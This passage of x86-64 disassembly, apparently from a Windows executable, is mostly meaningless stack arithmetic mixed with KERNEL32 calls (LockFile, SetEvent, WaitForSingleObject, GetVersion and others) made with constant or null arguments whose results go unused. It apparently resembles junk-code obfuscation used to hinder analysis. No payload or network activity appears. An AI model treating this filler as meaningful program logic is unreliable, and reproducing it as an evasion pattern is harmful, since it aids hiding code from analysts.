or eax, ecx
mov rcx, qword [rsp + 0x14ea0]
mov byte [rcx], al
mov rax, qword [rsp + 0x155e8]
movsx eax, word [rax]
movsx ecx, word [0x140369fd8]
and eax, ecx
mov word [rsp + 0x277c], ax
mov rax, qword [rsp + 0x15ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa294]
add ecx, eax
mov eax, ecx
mov dword [0x14036a0b8], eax
mov rcx, qword [rsp + 0x14018]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa168], eax
mov eax, dword [0x140369da8]
mov ecx, dword [rsp + 0x9a90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x14cd0]
movzx eax, byte [rax]
mov byte [rsp + 0x7c1], al
movzx eax, word [rsp + 0x2de4]
movzx ecx, word [rsp + 0x2cbc]
and eax, ecx
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x15758]
mov ecx, dword [0x140369f08]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8fd8], eax
lea rax, [rsp + 0x8214]
mov qword [rsp + 0x15e40], rax
mov rcx, qword [rsp + 0x13b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x15258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9eb0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ca8]
mov dword [rcx], eax
lea rax, [rsp + 0xa230]
mov qword [rsp + 0x15e48], rax
mov rax, qword [rsp + 0x15320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14218]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c98], ax
mov rax, qword [rsp + 0x15070]
movzx eax, byte [rax]
mov byte [0x140363fed], al
mov rax, qword [rsp + 0x14100]
mov ecx, dword [rsp + 0x9f20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f1c], eax
lea rdx, [rsp + 0x43090]
mov rcx, qword [rsp + 0x14778]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa398], eax
mov rax, qword [0x14036a028]
mov rcx, qword [rsp + 0x151e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9184], eax
mov edx, 0xcce
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a98], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a4c], eax
mov eax, dword [rsp + 0x979c]
mov ecx, dword [rsp + 0x9c34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5810], eax
mov eax, dword [rsp + 0x9d08]
mov dword [rsp + 0xa39c], eax
mov eax, dword [rsp + 0x9d84]
mov rcx, qword [rsp + 0x14530]
mov qword [rsp + 0x15e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e50]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x146a0]
mov dword [rcx], eax
lea rax, [rsp + 0x748]
mov qword [rsp + 0x15e58], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15e60], rax
mov rax, qword [rsp + 0x15d28]
movsx eax, word [rax]
movsx ecx, word [0x14036a11c]
shl eax, cl
mov rcx, qword [rsp + 0x12ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x139c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74e]
xor eax, ecx
mov byte [rsp + 0x13b], al
movzx eax, word [rsp + 0x2c7c]
mov word [0x14036a338], ax
mov eax, dword [rsp + 0x99d8]
mov dword [rsp + 0xa3a0], eax
mov rax, qword [rsp + 0x13850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15280]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1a5c]
mov rcx, qword [rsp + 0x15678]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a4c], ax
movzx eax, byte [rsp + 0x1f7]
movzx ecx, byte [rsp + 0x779]
sub eax, ecx
mov rcx, qword [rsp + 0x15928]
mov byte [rcx], al
mov qword [rsp + 0x20], 0
mov r9d, 0x3e56
mov r8d, 0x2aa9
mov edx, 0xe5
mov rcx, qword [rsp + 0x141f0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa03c], eax
mov rax, qword [rsp + 0x135d0]
mov rcx, qword [rsp + 0x14888]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14780]
mov dword [rcx], eax
mov rax, qword [rsp + 0x152a8]
mov eax, dword [rax]
mov dword [rsp + 0xa3a4], eax
mov rcx, qword [rsp + 0x13f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ed0], eax
mov rax, qword [rsp + 0x130e8]
mov ecx, dword [rsp + 0x9f04]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x130d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13688]
mov ecx, dword [rsp + 0xa2b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5a20], eax
movzx eax, byte [rsp + 0xa7]
movzx ecx, byte [rsp + 0x376]
sub eax, ecx
mov rcx, qword [0x140369d40]
mov byte [rcx], al
movzx eax, word [rsp + 0x1310]
imul eax, eax, 0x4ec
mov rcx, qword [rsp + 0x147d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x148c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa1d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144f0]
mov dword [rcx], eax
mov rax, qword [0x140369ca0]
mov eax, dword [rax]
mov dword [rsp + 0xa3a8], eax
movsx eax, word [rsp + 0x2d1c]
mov rcx, qword [rsp + 0x15d48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a70]
mov word [rcx], ax
lea rax, [rsp + 0x786]
mov qword [rsp + 0x15e68], rax
movzx eax, byte [rsp + 0x112]
mov rcx, qword [0x140369c38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15928]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b90]
mov word [rsp + 0x2e04], ax
mov rax, qword [rsp + 0x156f8]
mov ecx, dword [rsp + 0x9ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
lea rax, [rsp + 0x9c1c]
mov qword [0x14036a340], rax
mov eax, dword [rsp + 0xa260]
mov rcx, qword [0x14036a340]
mov qword [rsp + 0x15e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15ae8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15e78], rax
lea rax, [rsp + 0x7dd0]
mov qword [rsp + 0x15e80], rax
mov rax, qword [rsp + 0x14d58]
mov ecx, dword [0x140369bc0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14220]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1878]
sar eax, cl
mov word [rsp + 0x2098], ax
mov rax, qword [rsp + 0x12e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f3]
or eax, ecx
mov rcx, qword [rsp + 0x14340]
mov byte [rcx], al
lea rdx, [rsp + 0x42ed0]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e24], eax
mov rax, qword [rsp + 0x15770]
mov eax, dword [rax]
mov ecx, dword [0x14036249c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c48], eax
mov eax, dword [rsp + 0x709c]
mov dword [rsp + 0xa3ac], eax
mov eax, dword [rsp + 0xa14c]
mov ecx, dword [rsp + 0x734c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14458]
mov dword [rcx], eax
mov rax, qword [0x14036a1d8]
mov rcx, qword [rsp + 0x13f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140369f28], eax
lea rax, [rsp + 0x585]
mov qword [rsp + 0x15e88], rax
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b9c]
add eax, ecx
mov rcx, qword [rsp + 0x13478]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15e90], rax
movsx eax, byte [rsp + 0x314]
movsx ecx, byte [rsp + 0x184]
add eax, ecx
mov rcx, qword [rsp + 0x13bd8]
mov byte [rcx], al
lea rax, [rsp + 0x1e24]
mov qword [rsp + 0x15e98], rax
mov rax, qword [rsp + 0x14b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x777c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142d0]
mov dword [rcx], eax
mov edx, 0x64e
mov rcx, qword [rsp + 0x15c40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa130], eax
mov rcx, qword [rsp + 0x13480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x993c], eax
lea rax, [rsp + 0x9cd0]
mov qword [rsp + 0x15ea0], rax
mov rax, qword [rsp + 0x14ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x533]
and eax, ecx
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0x14fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20f8]
or eax, ecx
mov word [rsp + 0x2700], ax
mov rax, qword [rsp + 0x15818]
mov ecx, dword [rsp + 0x9010]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14036253c], eax
lea rax, [rsp + 0xa240]
mov qword [rsp + 0x15ea8], rax
mov eax, dword [rsp + 0x9b38]
movzx ecx, al
mov eax, dword [rsp + 0x81e0]
shl eax, cl
mov dword [rsp + 0x7438], eax
mov rax, qword [rsp + 0x13818]
mov rcx, qword [rsp + 0x13338]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x96c0], eax
mov rax, qword [rsp + 0x14a18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15480]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bf8], ax
lea rax, [0x1403525ca]
mov qword [rsp + 0x15eb0], rax
mov rax, qword [rsp + 0x15350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa030]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0b8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x15c60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9af8], eax
lea rdx, [rsp + 0x43410]
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x14ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14fe0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ba0]
mov dword [rsp + 0xa3b0], eax
mov eax, dword [rsp + 0x8340]
mov ecx, dword [rsp + 0x9d44]
or ecx, eax
mov eax, ecx
mov dword [0x140362548], eax
mov rax, qword [rsp + 0x14c98]
mov ecx, dword [0x140369f08]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b40]
mov dword [rcx], eax
lea rax, [rsp + 0x73e]
mov qword [rsp + 0x15eb8], rax
mov rax, qword [rsp + 0x14508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2220]
and eax, ecx
mov word [rsp + 0x1a88], ax
movzx eax, word [rsp + 0x13d8]
movzx ecx, word [0x1403624bc]
sub eax, ecx
mov rcx, qword [rsp + 0x13370]
mov word [rcx], ax
lea rax, [rsp + 0x72d]
mov qword [rsp + 0x15ec0], rax
mov rax, qword [rsp + 0x15bf8]
mov rcx, qword [rsp + 0x13270]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14390]
mov eax, dword [rax]
mov dword [rsp + 0xa3b4], eax
mov dword [rsp + 0x20], 0x36d6
mov r9d, 0x2a31
mov r8d, 0x1b26
mov edx, 0x21f2
mov rcx, qword [rsp + 0x14d68]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa1a4], eax
mov rax, qword [rsp + 0x13120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15518]
mov byte [rcx], al
movzx eax, word [rsp + 0x244c]
mov rcx, qword [rsp + 0x14f08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369bb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa114], eax
lea rax, [rsp + 0x751c]
mov qword [rsp + 0x15ec8], rax
mov rax, qword [rsp + 0x13d20]
mov rcx, qword [rsp + 0x13e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15488]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [0x14036a090]
mov qword [rsp + 0x15ed0], rax
mov rax, qword [rsp + 0x14230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13650]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x72d], al
mov rax, qword [rsp + 0x147a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13578]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1aa8], ax
mov rax, qword [rsp + 0x13498]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369be8]
sar eax, cl
mov rcx, qword [rsp + 0x14338]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15c78]
mov rcx, qword [rsp + 0x13d98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa21c], eax
mov dword [rsp + 0x20], 0x272e
mov r9d, 0x1af1
mov r8d, 0x4f9
mov edx, 0x2372
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa3b8], eax
movzx eax, byte [rsp + 0x79d]
mov byte [0x140363fee], al
lea rax, [0x140362454]
mov qword [rsp + 0x15ed8], rax
mov rax, qword [rsp + 0x14560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d18]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13e60]
mov word [rcx], ax
lea rax, [rsp + 0x2bd]
mov qword [rsp + 0x15ee0], rax
mov rax, qword [rsp + 0x13bc0]
mov rcx, qword [rsp + 0x13778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9fe8], eax
mov rax, qword [rsp + 0x13358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5d50]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov dword [rcx], eax
lea rax, [rsp + 0x9e9c]
mov qword [rsp + 0x15ee8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b74], eax
mov rax, qword [rsp + 0x13cd0]
mov rcx, qword [rsp + 0x13890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x143b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c44]
mov dword [rsp + 0xa3bc], eax
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13360]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x153c0]
mov word [rcx], ax
mov rax, qword [0x140369ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14de8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1403525fa], al
mov eax, dword [rsp + 0x86f8]
mov ecx, dword [rsp + 0xa0d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ad8], eax
lea rdx, [rsp + 0x43448]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1a4], eax
mov eax, dword [rsp + 0x9644]
mov ecx, dword [rsp + 0x9ec0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x97a8], eax
mov eax, dword [rsp + 0x72b8]
mov ecx, dword [rsp + 0x83e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15278]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
lea rax, [rsp + 0x9ff8]
mov qword [rsp + 0x15ef0], rax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x132e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
mov rax, qword [rsp + 0x14898]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
sub eax, ecx
mov word [rsp + 0x2ba4], ax
lea rax, [rsp + 0x76e]
mov qword [rsp + 0x15ef8], rax
movsx eax, word [0x1403624e0]
mov rcx, qword [rsp + 0x130c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c78], ax
mov eax, dword [rsp + 0x9cdc]
movzx ecx, al
mov eax, dword [rsp + 0x8654]
shl eax, cl
mov rcx, qword [0x14036a130]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov dword [rsp + 0xa3c0], eax
movzx eax, word [0x1403624f0]
movzx ecx, word [rsp + 0x2c18]
sar eax, cl
mov rcx, qword [rsp + 0x14ba0]
mov word [rcx], ax
mov rax, qword [rsp + 0x156e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x410], al
mov rax, qword [rsp + 0x13b38]
mov ecx, dword [0x14036249c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2d8], eax
mov rax, qword [rsp + 0x142d0]
mov ecx, dword [rsp + 0x7f28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e54], eax
mov eax, dword [rsp + 0xa150]
mov dword [rsp + 0xa3c4], eax
mov rax, qword [rsp + 0x13408]
mov ecx, dword [rsp + 0xa230]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5c14], eax
mov rax, qword [rsp + 0x15cf8]
movzx eax, word [rax]
mov word [rsp + 0x2e08], ax
mov rax, qword [rsp + 0x154b0]
movzx eax, byte [rax]
imul eax, eax, 0x6c
mov rcx, qword [0x140369fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x135b0]
mov eax, dword [rax]
mov ecx, dword [0x140369cd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dfc], eax
mov dword [rsp + 0x20], 0x8fd
mov r9d, 0x9ed
mov r8d, 0x2d74
mov edx, 0x2b08
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a58], eax
lea rdx, [rsp + 0x42fb0]
mov rcx, qword [rsp + 0x14d68]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa3c8], eax
mov rax, qword [rsp + 0x132b8]
mov ecx, dword [rsp + 0xa1b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e9c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2f0], eax
mov edx, 0x252
mov rcx, qword [rsp + 0x15e60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e64], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa3cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x7fb0]
mov qword [rsp + 0x15f00], rax
mov eax, dword [rsp + 0xa0b8]
mov ecx, dword [rsp + 0xa058]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
lea rax, [rsp + 0x9c00]
mov qword [rsp + 0x15f08], rax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x791]
add eax, ecx
mov rcx, qword [rsp + 0x13f00]
mov byte [rcx], al
mov rax, qword [0x14036a258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bdc]
add eax, ecx
mov word [rsp + 0x2dec], ax
lea rax, [rsp + 0x178c]
mov qword [rsp + 0x15f10], rax
lea rax, [rsp + 0x630]
mov qword [0x14036a348], rax
mov rax, qword [rsp + 0x14128]
mov ecx, dword [0x1403624f8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x151d8]
mov dword [rcx], eax
lea rax, [rsp + 0x9e54]
mov qword [rsp + 0x15f18], rax
movzx eax, word [rsp + 0x2d54]
mov rcx, qword [rsp + 0x15240]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d50], ax
movzx eax, byte [rsp + 0x4a8]
movzx ecx, byte [rsp + 0x2a8]
xor eax, ecx
mov rcx, qword [rsp + 0x15680]
mov byte [rcx], al
mov rax, qword [rsp + 0x14430]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x526c]
shl eax, cl
mov dword [rsp + 0x70cc], eax
mov rax, qword [rsp + 0x15870]
mov ecx, dword [rsp + 0x5b48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b1c], eax
lea rax, [rsp + 0x7f24]
mov qword [rsp + 0x15f20], rax
mov eax, dword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x9f84]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bb0], eax
movzx eax, byte [rsp + 0x69c]
movzx ecx, byte [rsp + 0x74c]
add eax, ecx
mov byte [0x1403525d7], al
lea rax, [rsp + 0x2d74]
mov qword [rsp + 0x15f28], rax
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x6ce8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa074]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13408]
mov dword [rcx], eax
lea rax, [rsp + 0x2220]
mov qword [rsp + 0x15f30], rax
mov rax, qword [rsp + 0x15eb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x77a], al
lea rax, [rsp + 0x745]
mov qword [rsp + 0x15f38], rax
mov rax, qword [rsp + 0x15de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15578]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x14080]
mov rcx, qword [rsp + 0x143e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b48], eax
lea rax, [0x1403624c0]
mov qword [0x14036a350], rax
mov eax, dword [rsp + 0x6878]
mov dword [rsp + 0xa3d0], eax
mov rax, qword [rsp + 0x13b18]
mov ecx, dword [rsp + 0x9a94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e2c], eax
mov rax, qword [rsp + 0x15a48]
mov rcx, qword [0x140369e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a9c], eax
movzx eax, byte [rsp + 0x79e]
mov rcx, qword [rsp + 0x13590]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14d30]
mov byte [rcx], al
movzx eax, word [rsp + 0x2e08]
movzx ecx, word [rsp + 0x2d28]
add eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov word [rcx], ax
lea rax, [0x14036a0b0]
mov qword [rsp + 0x15f40], rax
mov rax, qword [rsp + 0x13ab0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa04c]
shl eax, cl
mov rcx, qword [rsp + 0x153b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ac0]
mov eax, dword [rax]
mov dword [rsp + 0xa3d4], eax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov dword [0x14036a358], eax
mov rcx, qword [rsp + 0x13f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b370]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9d20], eax
mov rax, qword [rsp + 0x14b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14560]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
lea rax, [rsp + 0x37b]
mov qword [rsp + 0x15f48], rax
mov rax, qword [rsp + 0x14ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72c]
xor eax, ecx
mov byte [rsp + 0x6e0], al
movsx eax, word [rsp + 0x2c78]
mov rcx, qword [rsp + 0x13e38]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15d48]
mov word [rcx], ax
mov eax, dword [rsp + 0x9a94]
mov dword [rsp + 0xa3d8], eax
mov eax, dword [rsp + 0xa3d4]
mov ecx, dword [rsp + 0x789c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6524], eax
movzx eax, byte [rsp + 0x77e]
mov rcx, qword [rsp + 0x15ee0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x369], al
movzx eax, word [rsp + 0x2280]
movzx ecx, word [rsp + 0x2db8]
sub eax, ecx
mov word [rsp + 0x1fe4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15f50], rax
mov rax, qword [rsp + 0x13ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9028]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14028]
mov rcx, qword [rsp + 0x14918]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144a0]
mov eax, dword [rax]
mov dword [rsp + 0xa3dc], eax
mov eax, dword [rsp + 0x99e4]
mov ecx, dword [rsp + 0xa158]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5260], eax
lea rax, [rsp + 0x2bbc]
mov qword [rsp + 0x15f58], rax
movzx eax, byte [rsp + 0x74f]
mov rcx, qword [rsp + 0x14880]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x152b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c48]
mov ecx, dword [rsp + 0xa184]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa01c], eax
lea rax, [rsp + 0x9b44]
mov qword [rsp + 0x15f60], rax
mov rax, qword [rsp + 0x134f8]
mov ecx, dword [0x140369ce0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9aa8], eax
mov eax, dword [rsp + 0x9184]
mov dword [0x14036a35c], eax
mov rax, qword [rsp + 0x13ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54e0], eax
movsx eax, byte [rsp + 0x783]
movsx ecx, byte [0x140363efc]
shl eax, cl
mov rcx, qword [rsp + 0x14938]
mov byte [rcx], al
mov rax, qword [rsp + 0x15b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13e90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2dec], ax
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x15f68], rax
mov rax, qword [rsp + 0x14bf8]
movzx eax, byte [rax]
movzx ecx, byte [0x1403525af]
sar eax, cl
mov rcx, qword [rsp + 0x15e88]
mov byte [rcx], al
lea rax, [rsp + 0xa35c]
mov qword [rsp + 0x15f70], rax
mov rax, qword [rsp + 0x13c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8bb4], eax
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x15f78], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa1d4], eax
mov rax, qword [rsp + 0x157c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15c50]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x140363f1f], al
mov rax, qword [rsp + 0x15810]
mov eax, dword [rax]
